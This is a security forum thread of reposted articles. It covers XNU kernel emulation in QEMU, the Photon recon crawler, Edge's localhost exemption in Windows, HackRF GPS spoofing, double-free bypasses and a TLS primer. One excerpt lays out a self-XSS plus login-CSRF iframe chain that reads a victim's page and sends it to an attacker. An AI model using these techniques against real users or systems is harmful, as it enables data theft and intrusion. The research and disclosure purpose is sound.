usually reserved for debuggers. Apple, however, hooks up the timer directly to the FIQ. With virtâs timer hooked up to the wrong signal, the kernel would wait forever for an interrupt that would never come. All I had to do to get the timer working was to hook it up to FIQ. This gets me⊠a nice panic in the Image4 parser. Getting the Image4 parser module working panic(cpu 0 caller 0xfffffff006c1edb8): "could not instantiate ppl environment: 0x60"@/BuildRoot/Library/Caches/com.apple.xbs/Sources/AppleImage4/AppleImage4-1.200.12/include/abort.h:24 What does this mean? Whatâs error 0x60? I found the panic string, and looked for where the error message is generated. It turns out that the Image4 parser queries the device tree for various nodes in â/chosenâ or â/defaultâ; if the value doesnât exist, it returns error 0x60. If the value is the wrong size, it returns 0x54. iOSâs device tree is missing two properties: chip-epoch and security-domain, which causes the module to panic with the 0x60 error. Oddly, the device tree doesnât reserve extra space for these properties. I had to delete two existing properties to make space for them. With the modified device tree, the Image4 module initializes, but now I have a panic from a data abort in rorgn_lockdown. Failed attempt to get device drivers to not crash Of course the KTRR driver crashes when it tries to access the memory controller: there isnât one! QEMUâs virt machine doesnât have anything mapped at that address. Since I donât have an emulation of the memory controller, I just added a block of empty memory to avoid the crash. This strategy didnât work for the next crash, though, from the AppleInterruptController driver. That driver reads and validates values from the device, so just placing a blank block of memory causes the driver to panic. Something more drastic is needed if I donât want to spend 9 years reverse engineering each driver. Driverless like weâre Waymo To boot XNU, I donât really need all those drivers, do I? Who needs interrupts or the screen or power management or storage, anyways? All XNU needs to boot into userspace is a serial port and a timer. I disabled every other driver in the kernel. Drivers are loaded if their IONameMatch property corresponds to a deviceâs âcompatibleâ, ânameâ, or âdevice_typeâ fields. To disable all the drivers, I erased every âcompatibleâ property in the device tree, along with a few ânameâ and âdevice_typeâ properties. Now, with no drivers, XNU seems to hang, but after I patiently waited for a minute⊠Waiting on <dict ID="0"><key>IOProviderClass</key><string ID="1">IOMedia</string><key>Content</key><string ID="2">Apple_HFS</string></dict> Still waiting for root device Itâs trying to mount the root filesystem! Loading a RAMDisk If itâs looking for a root filesystm, letâs give it one. I donât have any drivers for storage, but I can mount an iOS Recovery RAMDisk, which requires no drivers. All I had to do was: Load the ramdisk at the end of the kernel, just before the device tree blob put its address and size in the device tree so XNU can find it set boot argument to rd=md0 to boot from ramdisk hfs: mounted PeaceSeed16A5327f.arm64UpdateRamDisk on device b(2, 0) The kernel mounts the root filesystem! ⊠but then hangs again. Using LLDB to patch out hanging functions By putting breakpoints all over bsd_init, I found that the kernel was hanging in IOBSDSecureRoot, when it tries to call the platform function. The platform function looks for a device, but since I removed all the device drivers, it waits forever, in vain. To fix this, I just skipped the problematic call. I used an LLDB breakpoint to jump over the call and simulate a true return instead. And, after three weeks, the virtual serial port finally printed out: : : Darwin Bootstrapper Version 6.0.0: Mon Jul 9 00:39:56 PDT 2018; root:libxpc_executables-1336.200.86~25/launchd/RELEASE_ARM64 âHouston, the kernel has booted.â What I learned quirks of iOS memory management how iOS handles timer interrupts how iOS loads ramdisks building QEMU on different platforms modifying QEMU to add new CPU configuration registers differences between GDB and LLDBâs command syntax how to get people to subscribe to my mailing list. (muhahaha, one last signup link.) Thanks Thanks to everyone who shared or commented on my last article. To those who tried building and running it - sorry about taking so long to write up instructions! Thanks to @matteyeux, @h3adsh0tzz, @_th0ex, and @enzolovesbacon for testing the build instructions. Thanks to @winocm, whose darwin-on-arm project originally inspired me to learn about the XNU kernel. Sursa: https://worthdoingbadly.com/xnuqemu2/
-
- 1
-
-
Photon Photon is a lightning fast web crawler which extracts URLs, files, intel & endpoints from a target. Yep, I am using 100 threads and Photon won't complain about it because its in Ninja Mode đ Why Photon? Not Your Regular Crawler Crawlers are supposed to recursively extract links right? Well that's kind of boring so Photon goes beyond that. It extracts the following information: URLs (in-scope & out-of-scope) URLs with parameters (example.com/gallery.php?id=2) Intel (emails, social media accounts, amazon buckets etc.) Files (pdf, png, xml etc.) JavaScript files & Endpoints present in them The extracted information is saved in an organized manner. Intelligent Multi-Threading Here's a secret, most of the tools floating on the internet aren't properly multi-threaded even if they are supposed to. They either supply a list of items to threads which results in multiple threads accessing the same item or they simply put a thread lock and end up rendering multi-threading useless. But Photon is different or should I say "genius"? Take a look at this and decide yourself. Ninja Mode In Ninja Mode, 3 online services are used to make requests to the target on your behalf. So basically, now you have 4 clients making requests to the same server simultaneously which gives you a speed boost, minimizes the risk of connection reset as well as delays requests from a single client. Here's a comparison generated by Quark where the lines represent threads: Usage -u --url Specifies the URL to crawl. python photon.py -u http://example.com -l --level It specifies how much deeper should photon crawl. python photon.py -u http://example.com -l 3 Default Value: 2 -d --delay It specifies the delay between requests. python photon.py -u http://example.com -d 1 Default Value: 0 -t --threads The number of threads to use. python photon.py -u http://example.com -t 10 Default Value: 2 Note: The optimal number of threads depends on your connection speed as well as nature of the target server. If you have a decent network connection and the server doesn't have any rate limiting in place, you can use up to 100 threads. -c --cookie Cookie to send. python photon.py -u http://example.com -c "PHPSSID=821b32d21" -n --ninja Toggles Ninja Mode on/off. python photon.py -u http://example.com --ninja Default Value: False -s --seeds Lets you add custom seeds, sperated by commas. python photon -u http://example.com -s "http://example.com/portals.html,http://example.com/blog/2018" Contribution & License Apart from reporting bugs and stuff, please help me add more "APIs" to make the Ninja Mode more powerful. Photon is licensed under GPL v3.0 license. Sursa: https://github.com/s0md3v/Photon
- 1 reply
-
- 3
-
-
-
Sunday, 22 July 2018 UWP Localhost Network Isolation and Edge This blog post describes an interesting âfeatureâ added to Windows to support Edge accessing the loopback network interface. For reference this was on Windows 10 1803 running Edge 42.17134.1.0 as well as verifying on Windows 10 RS5 17713 running 43.17713.1000.0. I like the concept of the App Container (AC) sandbox Microsoft introduced in Windows 8. It moved sandboxing on Windows from restricted tokens which were hard to reason about and required massive cludges to get working to a reasonably consistent capability based model where you are heavily limited in what you can do unless youâve been granted an explicit capability when your application is started. On Windows 8 this was limited to a small set of known capabilities. On Windows 10 this has been expanded massively by effectively allowing an application to define its own capabilities and enforce them though the normal Windows access control mechanisms. Iâve been looking at AC more and it's ability to do network isolation, where access to the network requires being granted capabilities such as âinternetClientâ, seems very useful. Itâs a little known fact that even in the most heavily locked down, restricted token sandbox itâs possible to open network sockets by accessing the raw AFD driver. AC solves this issue quite well, it doesnât block access to the AFD driver, instead the Firewall checks for the capabilities and blocks connecting or accepting sockets. One issue does come up with building a generic sandboxing mechanism this AC network isolation primitive is regardless of what capabilities you grant itâs not possible for an AC application to access localhost. For example you might want your sandboxed application to access a web server on localhost for testing, or use a localhost proxy to MITM the traffic. Neither of these scenarios can be made to work in an AC sandbox with capabilities alone. The likely rationale for blocking localhost is allowing sandboxed content access can also be a big security risk. Windows runs quite a few services accessible locally which could be abused, such as the SMB server. Rather than adding a capability to grant access to localhost, there's an explicit list of packages exempt from the localhost restriction stored by the firewall service. You can access or modify this list using the Firewall APIs such as the NetworkIsolationSetAppContainerConfig function or using the CheckNetIsolation tool installed with Windows. This behavior seems to be rationalized as accessing loopback is a developer feature, not something which real applications should rely on. Curious, I wondered whether I had ACâs already in the exemption list. You can list all available exemptions by running âCheckNetIsolation LoopbackExempt -sâ on the command line. On my Windows 10 machine we can see two exemptions already installed, which is odd for a developer feature which no applications should be using. The first entry shows âAppContainer NOT FOUNDâ which indicates that the registered SID doesnât correspond to a registered AC. The second entry shows a very unhelpful name of â001â which at least means itâs an application on the current system. Whatâs going on? We can use my NtObjectManager PS module and it's 'Get-NtSid' cmdlet on the second SID to see if that can resolve a better name. Ahha, â001â is actually a child AC of the Edge package, we could have guessed this by looking at the length of the SID, a normal AC SID had 8 sub authorities, whereas a child has 12, with the extra 4 being added to the end of the base AC SID. Looking back at the unregistered SID we can see itâs also an Edge AC SID just with a child which isnât actually registered. The â001â AC seems to be the one used to host Internet content, at least based on the browser security whitepaper from X41Sec (see page 54). This is not exactly surprising. It seems when Edge was first released it wasnât possible to access localhost resources at all (as demonstrated by an IBM help article which instructs the user to use CheckNetIsolation to add an exemption). However, at some point in development MS added an about:flags option to enable accessing localhost, and seems itâs now the default configuration, even though as you can see in the following screenshot it says enabling can put your device at risk. Whatâs interesting though is if you disable the flags option and restart Edge then the exemption entry is deleted, and re-enabling it restores the entry again. Why is that a surprise? Well based on previous knowledge of this exemption feature, such as this blog post by Eric Lawrence you need admin privileges to change the exemption list. Perhaps MS have changed that behavior now? Letâs try and add an exemption using the CheckNetIsolation tool as a normal user, passing â-a -p=SIDâ parameters. I guess they havenât as adding a new exemption using the CheckNetIsolation tool gives us access denied. Now Iâm really interested. With Edge being a built-in application of course thereâs plenty of ways that MS could have fudged the âsecurityâ checks to allow Edge to add itself to the list, but where is it? The simplest location to add the fudge would be in the RPC service which implements the NetworkIsolationSetAppContainerConfig. (How do I know there's an RPC service? I just disassembled the API). I took a guess and assumed the implementation would be hosted in the âWindows Defender Firewallâ service, which is implemented in the MPSSVC DLL. The following is a simplified version of the RPC server method for the API. HRESULT RPC_NetworkIsolationSetAppContainerConfig(handle_t handle, DWORD dwNumPublicAppCs, PSID_AND_ATTRIBUTES appContainerSids) { if (!FwRpcAPIsIsPackageAccessGranted(handle)) { HRESULT hr; BOOL developer_mode = FALSE: IsDeveloperModeEnabled(&developer_mode); if (developer_mode) { hr = FwRpcAPIsSecModeAccessCheckForClient(1, handle); if (FAILED(hr)) { return hr; } } else { hr = FwRpcAPIsSecModeAccessCheckForClient(2, handle); if (FAILED(hr)) { return hr; } } } return FwMoneisAppContainerSetConfig(dwNumPublicAppCs, appContainerSids); } Whatâs immediately obvious is there's a method call, FwRpcAPIsIsPackageAccessGranted, which has âPackageâ in the name which might indicate itâs inspecting some AC package information. If this call succeeds then the following security checks are bypassed and the real function FwMoneisAppContainerSetConfig is called. It's also worth noting that the security checks differ depending on whether you're in developer mode or not. It turns out that if you have developer mode enabled then you can also bypass the admin check, which is confirmation the exemption list was designed primarily as a developer feature. Anyway let's take a look at FwRpcAPIsIsPackageAccessGranted to see what itâs checking. const WCHAR* allowedPackageFamilies[] = { L"Microsoft.MicrosoftEdge_8wekyb3d8bbwe", L"Microsoft.MicrosoftEdgeBeta_8wekyb3d8bbwe", L"Microsoft.zMicrosoftEdge_8wekyb3d8bbwe" }; HRESULT FwRpcAPIsIsPackageAccessGranted(handle_t handle) { HANDLE token; FwRpcAPIsGetAccessTokenFromClientBinding(handle, &token); WCHAR* package_id; RtlQueryPackageIdentity(token, &package_id); WCHAR family_name[0x100]; PackageFamilyNameFromFullName(package_id, family_name) for (int i = 0; i < _countof(allowedPackageFamilies); ++i) { if (wcsicmp(family_name, allowedPackageFamilies[i]) == 0) { return S_OK; } } return E_FAIL; } The FwRpcAPIsIsPackageAccessGranted function gets the callerâs token, queries for the package family name and then checks it against a hard coded list. If the caller is in the Edge package (or some beta versions) the function returns success which results in the admin check being bypassed. The conclusion we can take is this is how Edge is adding itself to the exemption list, although we also want to check what access is required to the RPC server. For an ALPC server thereâs two security checks, connecting to the ALPC port and an optional security callback. We could reverse engineer it from service binary but it is easier just to dump it from the ALPC server port, again we can use my NtObjectManager module. As the RPC service doesnât specify a name for the service then the RPC libraries generate a random name of the form âLRPC-XXXXXâ. You would usually use EPMAPPER to find the real name but I just used a debugger on CheckNetIsolation to break on NtAlpcConnectPort and dumped the connection name. Then we just find the handle to that ALPC port in the service process and dump the security descriptor. The list contains Everyone and all the various network related capabilities, so any AC process with network access can talk to these APIs including Edge LPAC. Therefore all Edge processes can access this capability and add arbitrary packages. The implementation inside Edge is in the function emodel!SetACLoopbackExemptions. With this knowledge we can now put together some code which will exploit this âfeatureâ to add arbitrary exemptions. You can find the PowerShell script on my Github gist. Wrap Up If I was willing to speculate (and I am) Iâd say the reason that MS added localhost access this way is it didnât require modifying kernel drivers, it could all be done with changes to user mode components. Of course the cynic in me thinks this could actually be just there to make Edge more equal than others, assuming MS ever allowed another web browser in the App Store. Even a wrapper around the Edge renderer would not be allowed to add the localhost exemption. Itâd be nice to see MS add a capability to do this in the future, but considering current RS5 builds use this same approach Iâm not hopeful. Is this a security issue? Well that depends. On the one hand you could argue the default configuration which allows Internet facing content to then access localhost is dangerous in itself, they point that out explicitly in the about:flags entry. Then again all browsers have this behavior so Iâm not sure itâs really an issue. The implementation is pretty sloppy and Iâm shocked (well not that shocked) that it passed a security review. To list some of the issues with it: â The package family check isnât very restrictive, combined with the weak permissions of the RPC service it allows any Edge process to add an arbitrary exemption. â The exemption isnât linked to the calling process, so any SID can be added as an exemption. While it seems the default is only to allow the Internet facing ACs access to localhost because of these weaknesses if you compromised a Flash process (which is child AC â006â) then it could add itself an exemption and try and attack services listening on localhost. It would make more sense if only the main MicrosoftEdge process could add the exemptions, not any content process. But what would make the most sense would be to support this functionality through a capability so that everyone could take advantage of it rather than implementing it as a backdoor. Sursa: https://tyranidslair.blogspot.com/2018/07/uwp-localhost-network-isolation-and-edge.html
-
July 19, 2018 Using a HackRF to Spoof GPS Navigation in Cars and Divert Drivers Researchers at Virginia Tech, the University of Electronic Science and Technology of China and Microsoft recently released a paper discussing how they were able to perform a GPS spoofing attack that was able to divert drivers to a wrong destination (pdf) without being noticed. The hardware they used to perform the attack was low cost and made from off the shelf hardware. It consisted of a Raspberry Pi 3, HackRF SDR, small whip antenna and a mobile battery pack, together forming a total cost of only $225. The HackRF is a transmit capable SDR. The idea is to use the HackRF to create a fake GPS signal that causes Google Maps running on an Android phone to believe that it's current location is different. They use a clever algorithm that ensures that the spoofed GPS location remains consistent with the actual physical road networks, to avoid the driver noticing that anything is wrong. The attack is limited in that it relies on the driver paying attention only to the turn by turn directions, and not looking closely at the map, or having knowledge of the roads already. For example, spoofing to a nearby location on another road can make the GPS give the wrong 'left/right' audio direction. However, in their real world tests they were able to show that 95% of test subjects followed the spoofed navigation to an incorrect destination. In past posts we've seen the HackRF and other transmit capable SDRs used to spoof GPS in other situations too. For example some players of the once popular Pokemon Go augmented reality game were cheating by using a HackRF to spoof GPS. Others have used GPS spoofing to bypass drone no-fly restrictions, and divert a superyacht. It is also believed that the Iranian government used GPS spoofing to safely divert and capture an American stealth drone back in 2011. Other researchers are working on making GPS more robust. Aerospace Corp. are using a HackRF to try and fuse GPS together with other localization methods, such as by using localizing signals from radio towers and other satellites. [Also seen on Arstechnica] Hardware and Method used to Spoof Car GPS Navigation. Sursa: https://www.rtl-sdr.com/using-a-hackrf-to-spoof-gps-navigation-in-cars-and-divert-drivers/
-
PeNet PeNet is a parser for Windows Portable Executable headers. It completely written in C# and does not rely on any native Windows APIs. Furthermore it supports the creation of Import Hashes (ImpHash), which is a feature often used in malware analysis. You can extract Certificate Revocation List, compute different hash sums and other useful stuff for working with PE files. For help see the Wiki. The API reference can be found hrere: http://secana.github.io/PeNet License Apache 2 Copyright 2016 Stefan Hausotte Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. Sursa: https://github.com/secana/PeNet
-
- 2
-
-
-
Escalating Low Severity Bugs To High Severity This time I am gonna share about some ways that I have learned & applied while participating in bounty programs and was able to escalate Low severity issues to higher severity. Let's Go To the Technical details straight: Note: You might also be able to use Window Object instead of Iframe in the following Cases I mention but it's better to use "Iframe" instead of "Window" to be stealthier and have least User-Interaction though it requires Clickjacking to be present too. Case #1. Self Stored-XSS and Login-Logout CSRF: Pre-Requisites: 1.) Victim must be loggedIn on the Application 2.) Some kind of sensitive information of the currently authenticated user should be present on some page(via Web API etc.) ATTACKER Having Self-Stored XSS in Profile Description: Attack Summary:- 1. Victim Visits Attacker's Page 2. Create 2 Iframes Frame #1(VICTIM) pointing to the sensitive info page (eg. CreditCards, API Keys, Secrets, password hashes, messages etc. which is only visible to the authenticated user) Frame #2(ATTACKER) pointing to Self-Stored XSS page 3. Perform the following on the Attacker Page: Once the Frame #1 is loaded completely a) Logout from Victim's account b) Login to Attacker's/your Account using the login CSRF In the Frame #2 c) Execute the Self-Stored XSS in your(attacker's) and Access the Frame #1 using top.frames[0].document.body.outerHTML since the Same Origin and steal it and send that info to your server Full article: https://www.noob.ninja/2018/07/escalating-low-severity-bugs-to-high.html
-
- 1
-
-
double-free-examples Basic code examples of conditions that still work and other nuances relating to double free's primarily in glibc, and to a lesser extent tcmalloc and jemalloc. These primarily revolve around one very basic concept: many allocators "optimize" the double free security checks to only ensure that we are not deallocating the most recently deallocated chunk. This leads to the behavior that if you can deallocate one chunk, then a different one, then the prior one a second time you can bypass the sanity checks. This pattern holds with tcmalloc (chrome/et cetera), jemalloc (firefox) and glibc (linux). Furthermore, the way of the world is moving towards things like vtable/vptr verification and control flow semantics to detect and prevent the corruption of function pointers which have pioneered the bypass to the stack cookie, and GCC now ships with vtable verification. In some instances, we have some rather neat conditions where you can bypass vptr verification and have 2 objects occupy the same memory, a sort of schrodinger's object condition. There is at present no real method for preventing related attacks, beyond ensuring that double free conditions do not occur. (atlanta, seattle - as the paper was moving along my work contract was suddenly canceled and relocated to SEA where I was never given time to work on anything until I punted with the expectation that BH would come back after editing and review. I'm probably the reason they have a board for that sort of thing now, just like I'm probably the reason the SF86 has that last page on it now.) Sursa: https://github.com/jnferguson/double-free-examples
-
- 1
-
-
SSL/TLS for dummies part 1 : Ciphersuite, Hashing,Encryption June 22, 2018 As a security enthusiast, I always fond of the working of SSL (TLS these days). It took me days to understand the very basic working of this complex protocol. But once you understand the underlying concepts and algorithm, the entire protocol would feel quite simple. Iâve learned a lot of things while learning the working of SSL. Encryption being the first thing. I started recollecting the cryptography stuffs learned from university. Those days, I was like meh while studying them. Now, I know why teachers fed me up with all the encryption stuff. I know how much cryptography makes my life easier. I wanted to share everything I learned here at my space. And I definitely hope this will be much useful to you. So letâs begin. History of SSL When talking about the history of SSL, one shouldnât miss Mozilla Foundation. The first thing that comes to our mind while talking about Mozilla is their famous browser Firefox. According to various sources, Firefox is the most popular browser after Chrome and Safari. But Netscape was the great predecessor of Firefox and during the 90âs it was the most popular browser among internet surfers. Anyway, by the introduction of Internet Explorer by Microsoft, Netscapeâs era came to an end and later they started the great Mozilla Foundation and it still grows. Netscape in 1994 introduced SSL for its Netscape Navigator browser. The primary objective was to prevent Man In The Middle attacks. Later, with increase in internet accessibility banks started to make use of internet for transactions. That time, security was a major concern and IETF(Internet Engineering Task Force), the people who standardize internet protocols, standardized SSL by making their own version. This was in 1999 and now the protocol is known as TLS(Transport Layer Security, the latest version being TLS 1.3. Few notes about cryptography First things first, before digging deep into the topic, we need to have a basic understanding on couple of things. Most important one is cryptography. You donât need to be Cryptography expert to understand SSL. But a basic understanding is necessary. We will discuss the very basics here. Those who already know Asymmetric and Symmetric key encryption can skip this section and go to the next part. So cryptography deals with numbers and strings. Basically every digital thing in the entire universe are numbers. When I say numbers, its 0 & 1. You know what they are, binary. The images you see on screen, the music that you listen through your earphone, everything are binaries. But our ears and eyes will not understand binaries right? Only brain could understand that, and even if it could understand binaries, it canât enjoy binaries. So we convert the binaries to human understandable formats such as mp3,jpg,etc. Letâs term the process as Encoding. Itâs two way process and can be easily decoded back to its original form. Hashing Hashing is another cryptography technique in which a data once converted to some other form can never be recovered back. In Laymanâs term, there is no process called de-hashing. There are many hash functions to do the job such as sha-512, md5 and so on. The sha-512 value of wst.space is, 83d98e97ec1efc3cb4d20f81a246bff06a1c145b7c06c481defed6ef31ce6ad78db3ecb36e7ce097966f019eab7bdc7ffa6b 3fb8c5226871667ae13a6728c63b You can verify this by going to some online hash creator website and typing wst.space. If the original value cannot be recovered, then where do we use this? Passwords! When you set up a password for your mobile or PC, a hash of your password is created and stored in a secure place. When you make a login attempt next time, the entered string is again hashed with the same algorithm (hash function) and the output is matched with the stored value. If itâs the same, you get logged in. Otherwise you are thrown out. Credits: wikimedia By applying hash to the password, we can ensure that an attacker will never get our password even if he steal the stored password file. The attacker will have the hash of the password. He can probably find a list of most commonly used passwords and apply sha-512 to each of it and compare it with the value in his hand. It is called the dictionary attack. But how long would he do this? If your password is random enough, do you think this method of cracking would work? We have discussed about session cookies in one of our blog posts. The value is session cookies are usually hashed. All the passwords in the databases of Facebook, Google and Amazon are hashed, or at least they are supposed to be hashed. Then there is Encryption Encryption lies in between hashing and encoding. Encoding is a two way process and should not be used to provide security. Encryption is also a two way process, but original data can be retrieved if and only if the encryption key is known. If you donât know how encryption works, donât worry, we will discuss the basics here. That would be enough to understand the basics of SSL. So, there are two types of Encryption namely Symmetric and Asymmetric encryption. Symmetric Key Encryption I am trying to keep things as simple as I could. So, letâs understand the symmetric encryption by means of a shift algorithm. This algorithm is used to encrypt alphabets by shifting the letters to either left or right. Letâs take a string CRYPTO and consider a number +3. Then, the encrypted format of CRYPTO will be FUBSWR. That means each letter is shifted to right by 3 places. Here, the word CRYPTO is called Plaintext, the output FUBSWR is called the Ciphertext, the value +3 is called the Encryption key (symmetric key) and the whole process is a cipher. This is one of the oldest and basic symmetric key encryption algorithm and its first usage was reported during the time of Julius Caesar. So, it was named after him and it is the famous Caesar Cipher. Anyone who knows the encryption key and can apply the reverse of Caesarâs algorithm and retrieve the original Plaintext. Hence it is called a Symmetric Encryption. Credits: Wikimedia Can we use symmetric cryptography with TLS? As you understand, this algorithm is pretty easy to crack since the possibilities are less. We can change the value of key from 1 to anything and iterate through the 26 letters one by one. Note that the value of key is limited to 26, provided we are encrypting only small case english alphabets. Itâs a matter of milliseconds for our computers to Bruteforce this process. Nowadays, there are complex algorithms such as AES (Advanced Encryption Standard) and 3DES (Triple Data Encryption Algorithm). They are considered to be really really difficult to crack. This is the encryption technique used in SSL/TLS while sending and receiving data. But, the client and server needs to agree upon a key and exchange it before starting to encrypt the data, right? The initial step of exchanging the key will obviously be in plain text. What if the attacker captures the key while sharing it? Then there is no point in using it. So we need a secure mechanism to exchange the keys without an attacker actually seeing it. There comes the role of Asymmetric Key Encryption. Asymmetric Key Encryption We know that, in Symmetric encryption same key is used for both encryption and decryption. Once that key is stolen, all the data is gone. Thatâs a huge risk and we need more complex technique. In 1976, Whitfield Diffie and Martin Hellman first published the concept of Asymmetric encryption and the algorithm was known as DiffieâHellman key exchange. Then in 1978, Ron Rivest, Adi Shamir and Leonard Adleman of MIT published the RSA algorithm. These can be considered as the foundation of Asymmetric cryptography. As compared to Symmetric encryption, in Asymmetric encryption, there will be two keys instead of one. One is called the Public key, and the other one is the Private key. Theoretically, during initiation we can generate the Public-Private key pair to our machine. Private key should be kept in a safe place and it should never be shared with anyone. Public key, as the name indicates, can be shared with anyone who wish to send encrypted text to you. Now, those who have your public key can encrypt the secret data with it. If the key pair were generated using RSA algorithm, then they should use the same algorithm while encrypting the data. Usually the algorithm will be specified in the public key. The encrypted data can only be decrypted with the private key which is owned by you. Can we use Asymmetric encryption for all the TLS Asymmetric encryption is also known as Public Key Infrastructure a.k.a PKI, reason is self explanatory. Anyway, as long as you keep the private key secure, the data is safe. Great! So, probably by now you will be thinking, why would we still use symmetric encryption in TLS? We have a lot secure PKI in place. Yes, agree, but it should be noted that security has to be dealt without affecting usability. Since PKI involves a double key architecture and the key length is usually large, the encryption-decryption overhead is very high. It takes more time and CPU usage as compared to symmetric key encryption. So, when sending and receiving data between client and server, the user will feel more wait time, and the browser will start to eat the CPU. So PKI is used only to exchange the symmetric key between the client and server. Thereafter symmetric key encryption comes into play and further data transmission makes use of this technique. Well, I know I am just beating around the bush here. Because I havenât really jumped into the topic yet. Please keep the things we have discussed so far in mind and come back to this space. We are going deep from next blog post. Sursa: https://www.wst.space/ssl-part1-ciphersuite-hashing-encryption/
-
- 1
-